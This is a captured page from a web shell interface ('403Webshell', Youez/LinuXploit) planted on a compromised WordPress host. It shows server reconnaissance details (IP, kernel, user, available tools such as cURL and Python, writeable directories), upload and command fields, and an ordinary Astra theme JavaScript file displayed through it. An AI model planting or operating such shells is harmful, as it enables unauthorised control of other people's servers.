403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/themes/astra/assets/js/unminified/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/themes/astra/assets/js/unminified/shop-add-to-cart.js
jQuery( document ).ready(function() {

    jQuery( document.body ).on( 'added_to_cart', function() {
        const singleProductButton = jQuery( '.single_add_to_cart_button' );

        if( ! singleProductButton.hasClass('loading') && astra_shop_add_to_cart.shop_add_to_cart_action ) {

            const slideInCart = jQuery( '#astra-mobile-cart-drawer' );

            if( 'slide_in_cart' === astra_shop_add_to_cart.shop_add_to_cart_action && slideInCart ) {
                slideInCart.addClass( 'active' );
                jQuery( 'html' ).addClass( 'ast-mobile-cart-active' );
            }
            if( astra_shop_add_to_cart.is_astra_pro ) {

                if( 'redirect_cart_page' === astra_shop_add_to_cart.shop_add_to_cart_action ) {
                    window.open( astra_shop_add_to_cart.cart_url ,"_self");
                }

                if( 'redirect_checkout_page' === astra_shop_add_to_cart.shop_add_to_cart_action ) {
                    window.open( astra_shop_add_to_cart.checkout_url ,"_self");
                }
            }
        }

    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit